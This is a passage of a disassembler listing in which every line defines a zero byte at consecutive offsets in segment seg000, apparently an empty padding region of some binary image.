seg000:00000AA6 db 0 seg000:00000AA7 db 0 seg000:00000AA8 db 0 seg000:00000AA9 db 0 seg000:00000AAA db 0 seg000:00000AAB db 0 seg000:00000AAC db 0 seg000:00000AAD db 0 seg000:00000AAE db 0 seg000:00000AAF db 0 seg000:00000AB0 db 0 seg000:00000AB1 db 0 seg000:00000AB2 db 0 seg000:00000AB3 db 0 seg000:00000AB4 db 0 seg000:00000AB5 db 0 seg000:00000AB6 db 0 seg000:00000AB7 db 0 seg000:00000AB8 db 0 seg000:00000AB9 db 0 seg000:00000ABA db 0 seg000:00000ABB db 0 seg000:00000ABC db 0 seg000:00000ABD db 0 seg000:00000ABE db 0 seg000:00000ABF db 0 seg000:00000AC0 db 0 seg000:00000AC1 db 0 seg000:00000AC2 db 0 seg000:00000AC3 db 0 seg000:00000AC4 db 0 seg000:00000AC5 db 0 seg000:00000AC6 db 0 seg000:00000AC7 db 0 seg000:00000AC8 db 0 seg000:00000AC9 db 0 seg000:00000ACA db 0 seg000:00000ACB db 0 seg000:00000ACC db 0 seg000:00000ACD db 0 seg000:00000ACE db 0 seg000:00000ACF db 0 seg000:00000AD0 db 0 seg000:00000AD1 db 0 seg000:00000AD2 db 0 seg000:00000AD3 db 0 seg000:00000AD4 db 0 seg000:00000AD5 db 0 seg000:00000AD6 db 0 seg000:00000AD7 db 0 seg000:00000AD8 db 0 seg000:00000AD9 db 0 seg000:00000ADA db 0 seg000:00000ADB db 0 seg000:00000ADC db 0 seg000:00000ADD db 0 seg000:00000ADE db 0 seg000:00000ADF db 0 seg000:00000AE0 db 0 seg000:00000AE1 db 0 seg000:00000AE2 db 0 seg000:00000AE3 db 0 seg000:00000AE4 db 0 seg000:00000AE5 db 0 seg000:00000AE6 db 0 seg000:00000AE7 db 0 seg000:00000AE8 db 0 seg000:00000AE9 db 0 seg000:00000AEA db 0 seg000:00000AEB db 0 seg000:00000AEC db 0 seg000:00000AED db 0 seg000:00000AEE db 0 seg000:00000AEF db 0 seg000:00000AF0 db 0 seg000:00000AF1 db 0 seg000:00000AF2 db 0 seg000:00000AF3 db 0 seg000:00000AF4 db 0 seg000:00000AF5 db 0 seg000:00000AF6 db 0 seg000:00000AF7 db 0 seg000:00000AF8 db 0 seg000:00000AF9 db 0 seg000:00000AFA db 0 seg000:00000AFB db 0 seg000:00000AFC db 0 seg000:00000AFD db 0 seg000:00000AFE db 0 seg000:00000AFF db 0 seg000:00000B00 db 0 seg000:00000B01 db 0 seg000:00000B02 db 0 seg000:00000B03 db 0 seg000:00000B04 db 0 seg000:00000B05 db 0 seg000:00000B06 db 0 seg000:00000B07 db 0 seg000:00000B08 db 0 seg000:00000B09 db 0 seg000:00000B0A db 0 seg000:00000B0B db 0 seg000:00000B0C db 0 seg000:00000B0D db 0 seg000:00000B0E db 0 seg000:00000B0F db 0 seg000:00000B10 db 0 seg000:00000B11 db 0 seg000:00000B12 db 0 seg000:00000B13 db 0 seg000:00000B14 db 0 seg000:00000B15 db 0 seg000:00000B16 db 0 seg000:00000B17 db 0 seg000:00000B18 db 0 seg000:00000B19 db 0 seg000:00000B1A db 0 seg000:00000B1B db 0 seg000:00000B1C db 0 seg000:00000B1D db 0 seg000:00000B1E db 0 seg000:00000B1F db 0 seg000:00000B20 db 0 seg000:00000B21 db 0 seg000:00000B22 db 0 seg000:00000B23 db 0 seg000:00000B24 db 0 seg000:00000B25 db 0 seg000:00000B26 db 0 seg000:00000B27 db 0 seg000:00000B28 db 0 seg000:00000B29 db 0 seg000:00000B2A db 0 seg000:00000B2B db 0 seg000:00000B2C db 0 seg000:00000B2D db 0 seg000:00000B2E db 0 seg000:00000B2F db 0 seg000:00000B30 db 0 seg000:00000B31 db 0 seg000:00000B32 db 0 seg000:00000B33 db 0 seg000:00000B34 db 0 seg000:00000B35 db 0 seg000:00000B36 db 0 seg000:00000B37 db 0 seg000:00000B38 db 0 seg000:00000B39 db 0 seg000:00000B3A db 0 seg000:00000B3B db 0 seg000:00000B3C db 0 seg000:00000B3D db 0 seg000:00000B3E db 0 seg000:00000B3F db 0 seg000:00000B40 db 0 seg000:00000B41 db 0 seg000:00000B42 db 0 seg000:00000B43 db 0 seg000:00000B44 db 0 seg000:00000B45 db 0 seg000:00000B46 db 0 seg000:00000B47 db 0 seg000:00000B48 db 0 seg000:00000B49 db 0 seg000:00000B4A db 0 seg000:00000B4B db 0 seg000:00000B4C db 0 seg000:00000B4D db 0 seg000:00000B4E db 0 seg000:00000B4F db 0 seg000:00000B50 db 0 seg000:00000B51 db 0 seg000:00000B52 db 0 seg000:00000B53 db 0 seg000:00000B54 db 0 seg000:00000B55 db 0 seg000:00000B56 db 0 seg000:00000B57 db 0 seg000:00000B58 db 0 seg000:00000B59 db 0 seg000:00000B5A db 0 seg000:00000B5B db 0 seg000:00000B5C db 0 seg000:00000B5D db 0 seg000:00000B5E db 0 seg000:00000B5F db 0 seg000:00000B60 db 0 seg000:00000B61 db 0 seg000:00000B62 db 0 seg000:00000B63 db 0 seg000:00000B64 db 0 seg000:00000B65 db 0 seg000:00000B66 db 0 seg000:00000B67 db 0 seg000:00000B68 db 0 seg000:00000B69 db 0 seg000:00000B6A db 0 seg000:00000B6B db 0 seg000:00000B6C db 0 seg000:00000B6D db 0 seg000:00000B6E db 0 seg000:00000B6F db 0 seg000:00000B70 db 0 seg000:00000B71 db 0 seg000:00000B72 db 0 seg000:00000B73 db 0 seg000:00000B74 db 0 seg000:00000B75 db 0 seg000:00000B76 db 0 seg000:00000B77 db 0 seg000:00000B78 db 0 seg000:00000B79 db 0 seg000:00000B7A db 0 seg000:00000B7B db 0 seg000:00000B7C db 0 seg000:00000B7D db 0 seg000:00000B7E db 0 seg000:00000B7F db 0 seg000:00000B80 db 0 seg000:00000B81 db 0 seg000:00000B82 db 0 seg000:00000B83 db 0 seg000:00000B84 db 0 seg000:00000B85 db 0 seg000:00000B86 db 0 seg000:00000B87 db 0 seg000:00000B88 db 0 seg000:00000B89 db 0 seg000:00000B8A db 0 seg000:00000B8B db 0 seg000:00000B8C db 0 seg000:00000B8D db 0 seg000:00000B8E db 0 seg000:00000B8F db 0 seg000:00000B90 db 0 seg000:00000B91 db 0 seg000:00000B92 db 0 seg000:00000B93 db 0 seg000:00000B94 db 0 seg000:00000B95 db 0 seg000:00000B96 db 0 seg000:00000B97 db 0 seg000:00000B98 db 0 seg000:00000B99 db 0 seg000:00000B9A db 0 seg000:00000B9B db 0 seg000:00000B9C db 0 seg000:00000B9D db 0 seg000:00000B9E db 0 seg000:00000B9F db 0 seg000:00000BA0 db 0 seg000:00000BA1 db 0 seg000:00000BA2 db 0 seg000:00000BA3 db 0 seg000:00000BA4 db 0 seg000:00000BA5 db 0 seg000:00000BA6 db 0 seg000:00000BA7 db 0 seg000:00000BA8 db 0 seg000:00000BA9 db 0 seg000:00000BAA db 0 seg000:00000BAB db 0 seg000:00000BAC db 0 seg000:00000BAD db 0 seg000:00000BAE db 0 seg000:00000BAF db 0 seg000:00000BB0 db 0 seg000:00000BB1 db 0 seg000:00000BB2 db 0 seg000:00000BB3 db 0 seg000:00000BB4 db 0 seg000:00000BB5 db 0 seg000:00000BB6 db 0 seg000:00000BB7 db 0 seg000:00000BB8 db 0 seg000:00000BB9 db 0 seg000:00000BBA db 0 seg000:00000BBB db 0 seg000:00000BBC db 0 seg000:00000BBD db 0 seg000:00000BBE db 0 seg000:00000BBF db 0 seg000:00000BC0 db 0 seg000:00000BC1 db 0 seg000:00000BC2 db 0 seg000:00000BC3 db 0 seg000:00000BC4 db 0 seg000:00000BC5 db 0 seg000:00000BC6 db 0 seg000:00000BC7 db 0 seg000:00000BC8 db 0 seg000:00000BC9 db 0 seg000:00000BCA db 0 seg000:00000BCB db 0 seg000:00000BCC db 0 seg000:00000BCD db 0 seg000:00000BCE db 0 seg000:00000BCF db 0 seg000:00000BD0 db 0 seg000:00000BD1 db 0 seg000:00000BD2 db 0 seg000:00000BD3 db 0 seg000:00000BD4 db 0 seg000:00000BD5 db 0 seg000:00000BD6 db 0 seg000:00000BD7 db 0 seg000:00000BD8 db 0 seg000:00000BD9 db 0 seg000:00000BDA db 0 seg000:00000BDB db 0 seg000:00000BDC db 0 seg000:00000BDD db 0 seg000:00000BDE db 0 seg000:00000BDF db 0 seg000:00000BE0 db 0 seg000:00000BE1 db 0 seg000:00000BE2 db 0 seg000:00000BE3 db 0 seg000:00000BE4 db 0 seg000:00000BE5 db 0 seg000:00000BE6 db 0 seg000:00000BE7 db 0 seg000:00000BE8 db 0 seg000:00000BE9 db 0 seg000:00000BEA db 0 seg000:00000BEB db 0 seg000:00000BEC db 0 seg000:00000BED db 0 seg000:00000BEE db 0 seg000:00000BEF db 0 seg000:00000BF0 db 0 seg000:00000BF1 db 0 seg000:00000BF2 db 0 seg000:00000BF3 db 0 seg000:00000BF4 db 0 seg000:00000BF5 db 0 seg000:00000BF6 db 0 seg000:00000BF7 db 0 seg000:00000BF8 db 0 seg000:00000BF9 db 0 seg000:00000BFA db 0 seg000:00000BFB db 0 seg000:00000BFC db 0 seg000:00000BFD db 0 seg000:00000BFE db 0 seg000:00000BFF db 0 seg000:00000C00 db 0 seg000:00000C01 db 0 seg000:00000C02 db 0 seg000:00000C03 db 0 seg000:00000C04 db 0 seg000:00000C05 db 0 seg000:00000C06 db 0 seg000:00000C07 db 0 seg000:00000C08 db 0 seg000:00000C09 db 0 seg000:00000C0A db 0 seg000:00000C0B db 0 seg000:00000C0C db 0 seg000:00000C0D db 0 seg000:00000C0E db 0 seg000:00000C0F db 0 seg000:00000C10 db 0 seg000:00000C11 db 0 seg000:00000C12 db 0 seg000:00000C13 db 0 seg000:00000C14 db 0 seg000:00000C15 db 0 seg000:00000C16 db 0 seg000:00000C17 db 0 seg000:00000C18 db 0 seg000:00000C19 db 0 seg000:00000C1A db 0 seg000:00000C1B db 0 seg000:00000C1C db 0 seg000:00000C1D db 0 seg000:00000C1E db 0 seg000:00000C1F db 0 seg000:00000C20 db 0 seg000:00000C21 db 0 seg000:00000C22 db 0 seg000:00000C23 db 0 seg000:00000C24 db 0 seg000:00000C25 db 0 seg000:00000C26 db 0 seg000:00000C27 db 0 seg000:00000C28 db 0 seg000:00000C29 db 0 seg000:00000C2A db 0 seg000:00000C2B db 0 seg000:00000C2C db 0 seg000:00000C2D db 0 seg000:00000C2E db 0 seg000:00000C2F db 0 seg000:00000C30 db 0 seg000:00000C31 db 0 seg000:00000C32 db 0 seg000:00000C33 db 0 seg000:00000C34 db 0 seg000:00000C35 db 0 seg000:00000C36 db 0 seg000:00000C37 db 0 seg000:00000C38 db 0 seg000:00000C39 db 0 seg000:00000C3A db 0 seg000:00000C3B db 0 seg000:00000C3C db 0 seg000:00000C3D db 0 seg000:00000C3E db 0 seg000:00000C3F db 0 seg000:00000C40 db 0 seg000:00000C41 db 0 seg000:00000C42 db 0 seg000:00000C43 db 0 seg000:00000C44 db 0 seg000:00000C45 db 0 seg000:00000C46 db 0 seg000:00000C47 db 0 seg000:00000C48 db 0 seg000:00000C49 db 0 seg000:00000C4A db 0 seg000:00000C4B db 0 seg000:00000C4C db 0 seg000:00000C4D db 0 seg000:00000C4E db 0 seg000:00000C4F db 0 seg000:00000C50 db 0 seg000:00000C51 db 0 seg000:00000C52 db 0 seg000:00000C53 db 0 seg000:00000C54 db 0 seg000:00000C55 db 0 seg000:00000C56 db 0 seg000:00000C57 db 0 seg000:00000C58 db 0 seg000:00000C59 db 0 seg000:00000C5A db 0 seg000:00000C5B db 0 seg000:00000C5C db 0 seg000:00000C5D db 0 seg000:00000C5E db 0 seg000:00000C5F db 0 seg000:00000C60 db 0 seg000:00000C61 db 0 seg000:00000C62 db 0 seg000:00000C63 db 0 seg000:00000C64 db 0 seg000:00000C65 db 0 seg000:00000C66 db 0 seg000:00000C67 db 0 seg000:00000C68 db 0 seg000:00000C69 db 0 seg000:00000C6A db 0 seg000:00000C6B db 0 seg000:00000C6C db 0 seg000:00000C6D db 0 seg000:00000C6E db 0 seg000:00000C6F db 0 seg000:00000C70 db 0 seg000:00000C71 db 0 seg000:00000C72 db 0 seg000:00000C73 db 0 seg000:00000C74 db 0 seg000:00000C75 db 0 seg000:00000C76 db 0 seg000:00000C77 db 0 seg000:00000C78 db 0 seg000:00000C79 db 0 seg000:00000C7A db 0 seg000:00000C7B db 0 seg000:00000C7C db 0 seg000:00000C7D db 0 seg000:00000C7E db 0 seg000:00000C7F db 0 seg000:00000C80 db 0 seg000:00000C81 db 0 seg000:00000C82 db 0 seg000:00000C83 db 0 seg000:00000C84 db 0 seg000:00000C85 db 0 seg000:00000C86 db 0 seg000:00000C87 db 0 seg000:00000C88 db 0 seg000:00000C89 db 0 seg000:00000C8A db 0 seg000:00000C8B db 0 seg000:00000C8C db 0 seg000:00000C8D db 0 seg000:00000C8E db 0 seg000:00000C8F db 0 seg000:00000C90 db 0 seg000:00000C91 db 0 seg000:00000C92 db 0 seg000:00000C93 db 0 seg000:00000C94 db 0 seg000:00000C95 db 0 seg000:00000C96 db 0 seg000:00000C97 db 0 seg000:00000C98 db 0 seg000:00000C99 db 0 seg000:00000C9A db 0 seg000:00000C9B db 0 seg000:00000C9C db 0 seg000:00000C9D db 0 seg000:00000C9E db 0 seg000:00000C9F db 0 seg000:00000CA0 db 0 seg000:00000CA1 db 0 seg000:00000CA2 db 0 seg000:00000CA3 db 0 seg000:00000CA4 db 0 seg000:00000CA5 db 0 seg000:00000CA6 db 0 seg000:00000CA7 db 0 seg000:00000CA8 db 0 seg000:00000CA9 db 0 seg000:00000CAA db 0 seg000:00000CAB db 0 seg000:00000CAC db 0 seg000:00000CAD db 0 seg000:00000CAE db 0 seg000:00000CAF db 0 seg000:00000CB0 db 0 seg000:00000CB1 db 0 seg000:00000CB2 db 0 seg000:00000CB3 db 0 seg000:00000CB4 db 0 seg000:00000CB5 db 0 seg000:00000CB6 db 0 seg000:00000CB7 db 0 seg000:00000CB8 db 0 seg000:00000CB9 db 0 seg000:00000CBA db 0 seg000:00000CBB db 0 seg000:00000CBC db 0 seg000:00000CBD db 0 seg000:00000CBE db 0 seg000:00000CBF db 0 seg000:00000CC0 db 0 seg000:00000CC1 db 0 seg000:00000CC2 db 0 seg000:00000CC3 db 0 seg000:00000CC4 db 0 seg000:00000CC5 db 0 seg000:00000CC6 db 0 seg000:00000CC7 db 0 seg000:00000CC8 db 0 seg000:00000CC9 db 0 seg000:00000CCA db 0 seg000:00000CCB db 0 seg000:00000CCC db 0 seg000:00000CCD db 0 seg000:00000CCE db 0 seg000:00000CCF db 0 seg000:00000CD0 db 0 seg000:00000CD1 db 0 seg000:00000CD2 db 0 seg000:00000CD3 db 0 seg000:00000CD4 db 0 seg000:00000CD5 db 0 seg000:00000CD6 db 0 seg000:00000CD7 db 0 seg000:00000CD8 db 0 seg000:00000CD9 db 0 seg000:00000CDA db 0 seg000:00000CDB db 0 seg000:00000CDC db 0 seg000:00000CDD db 0 seg000:00000CDE db 0 seg000:00000CDF db 0 seg000:00000CE0 db 0 seg000:00000CE1 db 0 seg000:00000CE2 db 0 seg000:00000CE3 db 0 seg000:00000CE4 db 0 seg000:00000CE5 db 0 seg000:00000CE6 db 0 seg000:00000CE7 db 0 seg000:00000CE8 db 0 seg000:00000CE9 db 0 seg000:00000CEA db 0 seg000:00000CEB db 0 seg000:00000CEC db 0 seg000:00000CED db 0 seg000:00000CEE db 0 seg000:00000CEF db 0 seg000:00000CF0 db 0 seg000:00000CF1 db 0 seg000:00000CF2 db 0 seg000:00000CF3 db 0 seg000:00000CF4 db 0 seg000:00000CF5 db 0 seg000:00000CF6 db 0 seg000:00000CF7 db 0 seg000:00000CF8 db 0 seg000:00000CF9 db 0 seg000:00000CFA db 0 seg000:00000CFB db 0 seg000:00000CFC db 0 seg000:00000CFD db 0 seg000:00000CFE db 0 seg000:00000CFF db 0 seg000:00000D00 db 0 seg000:00000D01 db 0 seg000:00000D02 db 0 seg000:00000D03 db 0 seg000:00000D04 db 0 seg000:00000D05 db 0 seg000:00000D06 db 0 seg000:00000D07 db 0 seg000:00000D08 db 0 seg000:00000D09 db 0 seg000:00000D0A db 0 seg000:00000D0B db 0 seg000:00000D0C db 0 seg000:00000D0D db 0 seg000:00000D0E db 0 seg000:00000D0F db 0 seg000:00000D10 db 0 seg000:00000D11 db 0 seg000:00000D12 db 0 seg000:00000D13 db 0 seg000:00000D14 db 0 seg000:00000D15 db 0 seg000:00000D16 db 0 seg000:00000D17 db 0 seg000:00000D18 db 0 seg000:00000D19 db 0 seg000:00000D1A db 0 seg000:00000D1B db 0 seg000:00000D1C db 0 seg000:00000D1D db 0 seg000:00000D1E db 0 seg000:00000D1F db 0 seg000:00000D20 db 0 seg000:00000D21 db 0 seg000:00000D22 db 0 seg000:00000D23 db 0 seg000:00000D24 db 0 seg000:00000D25 db 0 seg000:00000D26 db 0 seg000:00000D27 db 0 seg000:00000D28 db 0 seg000:00000D29 db 0 seg000:00000D2A db 0 seg000:00000D2B db 0 seg000:00000D2C db 0 seg000:00000D2D db 0 seg000:00000D2E db 0 seg000:00000D2F db 0 seg000:00000D30 db 0 seg000:00000D31 db 0 seg000:00000D32 db 0 seg000:00000D33 db 0 seg000:00000D34 db 0 seg000:00000D35 db 0 seg000:00000D36 db 0 seg000:00000D37 db 0 seg000:00000D38 db 0 seg000:00000D39 db 0 seg000:00000D3A db 0 seg000:00000D3B db 0 seg000:00000D3C db 0 seg000:00000D3D db 0 seg000:00000D3E db 0 seg000:00000D3F db 0 seg000:00000D40 db 0 seg000:00000D41 db 0 seg000:00000D42 db 0 seg000:00000D43 db 0 seg000:00000D44 db 0 seg000:00000D45 db 0 seg000:00000D46 db 0 seg000:00000D47 db 0 seg000:00000D48 db 0 seg000:00000D49 db 0 seg000:00000D4A db 0 seg000:00000D4B db 0 seg000:00000D4C db 0 seg000:00000D4D db 0 seg000:00000D4E db 0 seg000:00000D4F db 0 seg000:00000D50 db 0 seg000:00000D51 db 0 seg000:00000D52 db 0 seg000:00000D53 db 0 seg000:00000D54 db 0 seg000:00000D55 db 0 seg000:00000D56 db 0 seg000:00000D57 db 0 seg000:00000D58 db 0 seg000:00000D59 db 0 seg000:00000D5A db 0 seg000:00000D5B db 0 seg000:00000D5C db 0 seg000:00000D5D db 0 seg000:00000D5E db 0 seg000:00000D5F db 0 seg000:00000D60 db 0 seg000:00000D61 db 0 seg000:00000D62 db 0 seg000:00000D63 db 0 seg000:00000D64 db 0 seg000:00000D65 db 0 seg000:00000D66 db 0 seg000:00000D67 db 0 seg000:00000D68 db 0 seg000:00000D69 db 0 seg000:00000D6A db 0 seg000:00000D6B db 0 seg000:00000D6C db 0 seg000:00000D6D db 0 seg000:00000D6E db 0 seg000:00000D6F db 0 seg000:00000D70 db 0 seg000:00000D71 db 0 seg000:00000D72 db 0 seg000:00000D73 db 0 seg000:00000D74 db 0 seg000:00000D75 db 0 seg000:00000D76 db 0 seg000:00000D77 db 0 seg000:00000D78 db 0 seg000:00000D79 db 0 seg000:00000D7A db 0 seg000:00000D7B db 0 seg000:00000D7C db 0 seg000:00000D7D db 0 seg000:00000D7E db 0 seg000:00000D7F db 0 seg000:00000D80 db 0 seg000:00000D81 db 0 seg000:00000D82 db 0 seg000:00000D83 db 0 seg000:00000D84 db 0 seg000:00000D85 db 0 seg000:00000D86 db 0 seg000:00000D87 db 0 seg000:00000D88 db 0 seg000:00000D89 db 0 seg000:00000D8A db 0 seg000:00000D8B db 0 seg000:00000D8C db 0 seg000:00000D8D db 0 seg000:00000D8E db 0 seg000:00000D8F db 0 seg000:00000D90 db 0 seg000:00000D91 db 0 seg000:00000D92 db 0 seg000:00000D93 db 0 seg000:00000D94 db 0 seg000:00000D95 db 0 seg000:00000D96 db 0 seg000:00000D97 db 0 seg000:00000D98 db 0 seg000:00000D99 db 0 seg000:00000D9A db 0 seg000:00000D9B db 0 seg000:00000D9C db 0 seg000:00000D9D db 0 seg000:00000D9E db 0 seg000:00000D9F db 0 seg000:00000DA0 db 0 seg000:00000DA1 db 0 seg000:00000DA2 db 0 seg000:00000DA3 db 0 seg000:00000DA4 db 0 seg000:00000DA5 db 0 seg000:00000DA6 db 0 seg000:00000DA7 db 0 seg000:00000DA8 db 0 seg000:00000DA9 db 0 seg000:00000DAA db 0 seg000:00000DAB db 0 seg000:00000DAC db 0 seg000:00000DAD db 0 seg000:00000DAE db 0 seg000:00000DAF db 0 seg000:00000DB0 db 0 seg000:00000DB1 db 0 seg000:00000DB2 db 0 seg000:00000DB3 db 0 seg000:00000DB4 db 0 seg000:00000DB5 db 0 seg000:00000DB6 db 0 seg000:00000DB7 db 0 seg000:00000DB8 db 0 seg000:00000DB9 db 0 seg000:00000DBA db 0 seg000:00000DBB db 0 seg000:00000DBC db 0 seg000:00000DBD db 0 seg000:00000DBE db 0 seg000:00000DBF db 0 seg000:00000DC0 db 0 seg000:00000DC1 db 0 seg000:00000DC2 db 0 seg000:00000DC3 db 0 seg000:00000DC4 db 0 seg000:00000DC5 db 0 seg000:00000DC6 db 0 seg000:00000DC7 db 0 seg000:00000DC8 db 0 seg000:00000DC9 db 0 seg000:00000DCA db 0 seg000:00000DCB db 0 seg000:00000DCC db 0 seg000:00000DCD db 0 seg000:00000DCE db 0 seg000:00000DCF db 0 seg000:00000DD0 db 0 seg000:00000DD1 db 0 seg000:00000DD2 db 0 seg000:00000DD3 db 0 seg000:00000DD4 db 0 seg000:00000DD5 db 0 seg000:00000DD6 db 0 seg000:00000DD7 db 0 seg000:00000DD8 db 0 seg000:00000DD9 db 0 seg000:00000DDA db 0 seg000:00000DDB db 0 seg000:00000DDC db 0 seg000:00000DDD db 0 seg000:00000DDE db 0 seg000:00000DDF db 0 seg000:00000DE0 db 0 seg000:00000DE1 db 0 seg000:00000DE2 db 0 seg000:00000DE3 db 0 seg000:00000DE4 db 0 seg000:00000DE5 db 0 seg000:00000DE6 db 0 seg000:00000DE7 db 0 seg000:00000DE8 db 0 seg000:00000DE9 db 0 seg000:00000DEA db 0 seg000:00000DEB db 0 seg000:00000DEC db 0 seg000:00000DED db 0 seg000:00000DEE db 0 seg000:00000DEF db 0 seg000:00000DF0 db 0 seg000:00000DF1 db 0 seg000:00000DF2 db 0 seg000:00000DF3 db 0 seg000:00000DF4 db 0 seg000:00000DF5 db 0 seg000:00000DF6 db 0 seg000:00000DF7 db 0 seg000:00000DF8 db 0 seg000:00000DF9 db 0 seg000:00000DFA db 0 seg000:00000DFB db 0 seg000:00000DFC db 0 seg000:00000DFD db 0 seg000:00000DFE db 0 seg000:00000DFF db 0 seg000:00000E00 db 0 seg000:00000E01 db 0 seg000:00000E02 db 0 seg000:00000E03 db 0 seg000:00000E04 db 0 seg000:00000E05 db 0 seg000:00000E06 db 0 seg000:00000E07 db 0 seg000:00000E08 db 0 seg000:00000E09 db 0 seg000:00000E0A db 0 seg000:00000E0B db 0 seg000:00000E0C db 0 seg000:00000E0D db 0 seg000:00000E0E db 0 seg000:00000E0F db 0 seg000:00000E10 db 0 seg000:00000E11 db 0 seg000:00000E12 db 0 seg000:00000E13 db 0 seg000:00000E14 db 0 seg000:00000E15 db 0 seg000:00000E16 db 0 seg000:00000E17 db 0 seg000:00000E18 db 0 seg000:00000E19 db 0 seg000:00000E1A db 0 seg000:00000E1B db 0 seg000:00000E1C db 0 seg000:00000E1D db 0 seg000:00000E1E db 0 seg000:00000E1F db 0 seg000:00000E20 db 0 seg000:00000E21 db 0 seg000:00000E22 db 0 seg000:00000E23 db 0 seg000:00000E24 db 0 seg000:00000E25 db 0 seg000:00000E26 db 0 seg000:00000E27 db 0 seg000:00000E28 db 0 seg000:00000E29 db 0 seg000:00000E2A db 0 seg000:00000E2B db 0 seg000:00000E2C db 0 seg000:00000E2D db 0 seg000:00000E2E db 0 seg000:00000E2F db 0 seg000:00000E30 db 0 seg000:00000E31 db 0 seg000:00000E32 db 0 seg000:00000E33 db 0 seg000:00000E34 db 0 seg000:00000E35 db 0 seg000:00000E36 db 0 seg000:00000E37 db 0 seg000:00000E38 db 0 seg000:00000E39 db 0 seg000:00000E3A db 0 seg000:00000E3B db 0 seg000:00000E3C db 0 seg000:00000E3D db 0 seg000:00000E3E db 0 seg000:00000E3F db 0 seg000:00000E40 db 0 seg000:00000E41 db 0 seg000:00000E42 db 0 seg000:00000E43 db 0 seg000:00000E44 db 0 seg000:00000E45 db 0 seg000:00000E46 db 0 seg000:00000E47 db 0 seg000:00000E48 db 0 seg000:00000E49 db 0 seg000:00000E4A db 0 seg000:00000E4B db 0 seg000:00000E4C db 0 seg000:00000E4D db 0 seg000:00000E4E db 0 seg000:00000E4F db 0 seg000:00000E50 db 0 seg000:00000E51 db 0 seg000:00000E52 db 0 seg000:00000E53 db 0 seg000:00000E54 db 0 seg000:00000E55 db 0 seg000:00000E56 db 0 seg000:00000E57 db 0 seg000:00000E58 db 0 seg000:00000E59 db 0 seg000:00000E5A db 0 seg000:00000E5B db 0 seg000:00000E5C db 0 seg000:00000E5D db 0 seg000:00000E5E db 0 seg000:00000E5F db 0 seg000:00000E60 db 0 seg000:00000E61 db 0 seg000:00000E62 db 0 seg000:00000E63 db 0 seg000:00000E64 db 0 seg000:00000E65 db 0 seg000:00000E66 db 0 seg000:00000E67 db 0 seg000:00000E68 db 0 seg000:00000E69 db 0 seg000:00000E6A db 0 seg000:00000E6B db 0 seg000:00000E6C db 0 seg000:00000E6D db 0 seg000:00000E6E db 0 seg000:00000E6F db 0 seg000:00000E70 db 0 seg000:00000E71 db 0 seg000:00000E72 db 0 seg000:00000E73 db 0 seg000:00000E74 db 0 seg000:00000E75 db 0 seg000:00000E76 db 0 seg000:00000E77 db 0 seg000:00000E78 db 0 seg000:00000E79 db 0 seg000:00000E7A db 0 seg000:00000E7B db 0 seg000:00000E7C db 0 seg000:00000E7D db 0 seg000:00000E7E db 0 seg000:00000E7F db 0 seg000:00000E80 db 0 seg000:00000E81 db 0 seg000:00000E82 db 0 seg000:00000E83 db 0 seg000:00000E84 db 0 seg000:00000E85 db 0 seg000:00000E86 db 0 seg000:00000E87 db 0 seg000:00000E88 db 0 seg000:00000E89 db 0 seg000:00000E8A db 0 seg000:00000E8B db 0 seg000:00000E8C db 0 seg000:00000E8D db 0 seg000:00000E8E db 0 seg000:00000E8F db 0 seg000:00000E90 db 0 seg000:00000E91 db 0 seg000:00000E92 db 0 seg000:00000E93 db 0 seg000:00000E94 db 0 seg000:00000E95 db 0 seg000:00000E96 db 0 seg000:00000E97 db 0 seg000:00000E98 db 0 seg000:00000E99 db 0 seg000:00000E9A db 0 seg000:00000E9B db 0 seg000:00000E9C db 0 seg000:00000E9D db 0 seg000:00000E9E db 0 seg000:00000E9F db 0 seg000:00000EA0 db 0 seg000:00000EA1 db 0 seg000:00000EA2 db 0 seg000:00000EA3 db 0 seg000:00000EA4 db 0 seg000:00000EA5 db 0 seg000:00000EA6 db 0 seg000:00000EA7 db 0 seg000:00000EA8 db 0 seg000:00000EA9 db 0 seg000:00000EAA db 0 seg000:00000EAB db 0 seg000:00000EAC db 0 seg000:00000EAD db 0 seg000:00000EAE db 0 seg000:00000EAF db 0 seg000:00000EB0 db 0 seg000:00000EB1 db 0 seg000:00000EB2 db 0 seg000:00000EB3 db 0 seg000:00000EB4 db 0 seg000:00000EB5 db 0 seg000:00000EB6 db 0 seg000:00000EB7 db 0 seg000:00000EB8 db 0 seg000:00000EB9 db 0 seg000:00000EBA db 0 seg000:00000EBB db 0 seg000:00000EBC db 0 seg000:00000EBD db 0 seg000:00000EBE db 0 seg000:00000EBF db 0 seg000:00000EC0 db 0 seg000:00000EC1 db 0 seg000:00000EC2 db 0 seg000:00000EC3 db 0 seg000:00000EC4 db 0 seg000:00000EC5 db 0 seg000:00000EC6 db 0 seg000:00000EC7 db 0 seg000:00000EC8 db 0 seg000:00000EC9 db 0 seg000:00000ECA db 0 seg000:00000ECB db 0 seg000:00000ECC db 0 seg000:00000ECD db 0 seg000:00000ECE db 0 seg000:00000ECF db 0 seg000:00000ED0 db 0 seg000:00000ED1 db 0 seg000:00000ED2 db 0 seg000:00000ED3 db 0 seg000:00000ED4 db 0 seg000:00000ED5 db 0 seg000:00000ED6 db 0 seg000:00000ED7 db 0 seg000:00000ED8 db 0 seg000:00000ED9 db 0 seg000:00000EDA db 0 seg000:00000EDB db 0 seg000:00000EDC db 0 seg000:00000EDD db 0 seg000:00000EDE db 0 seg000:00000EDF db 0 seg000:00000EE0 db 0 seg000:00000EE1 db 0 seg000:00000EE2 db 0 seg000:00000EE3 db 0 seg000:00000EE4 db 0 seg000:00000EE5 db 0 seg000:00000EE6 db 0 seg000:00000EE7 db 0 seg000:00000EE8 db 0 seg000:00000EE9 db 0 seg000:00000EEA db 0 seg000:00000EEB db 0 seg000:00000EEC db 0 seg000:00000EED db 0 seg000:00000EEE db 0 seg000:00000EEF db 0 seg000:00000EF0 db 0 seg000:00000EF1 db 0 seg000:00000EF2 db 0 seg000:00000EF3 db 0 seg000:00000EF4 db 0 seg000:00000EF5 db 0 seg000:00000EF6 db 0 seg000:00000EF7 db 0 seg000:00000EF8 db 0 seg000:00000EF9 db 0 seg000:00000EFA db 0 seg000:00000EFB db 0 seg000:00000EFC db 0 seg000:00000EFD db 0 seg000:00000EFE db 0 seg000:00000EFF db 0 seg000:00000F00 db 0 seg000:00000F01 db 0 seg000:00000F02 db 0 seg000:00000F03 db 0 seg000:00000F04 db 0 seg000:00000F05 db 0 seg000:00000F06 db 0 seg000:00000F07 db 0 seg000:00000F08 db 0 seg000:00000F09 db 0 seg000:00000F0A db 0 seg000:00000F0B db 0 seg000:00000F0C db 0 seg000:00000F0D db 0 seg000:00000F0E db 0 seg000:00000F0F db 0 seg000:00000F10 db 0 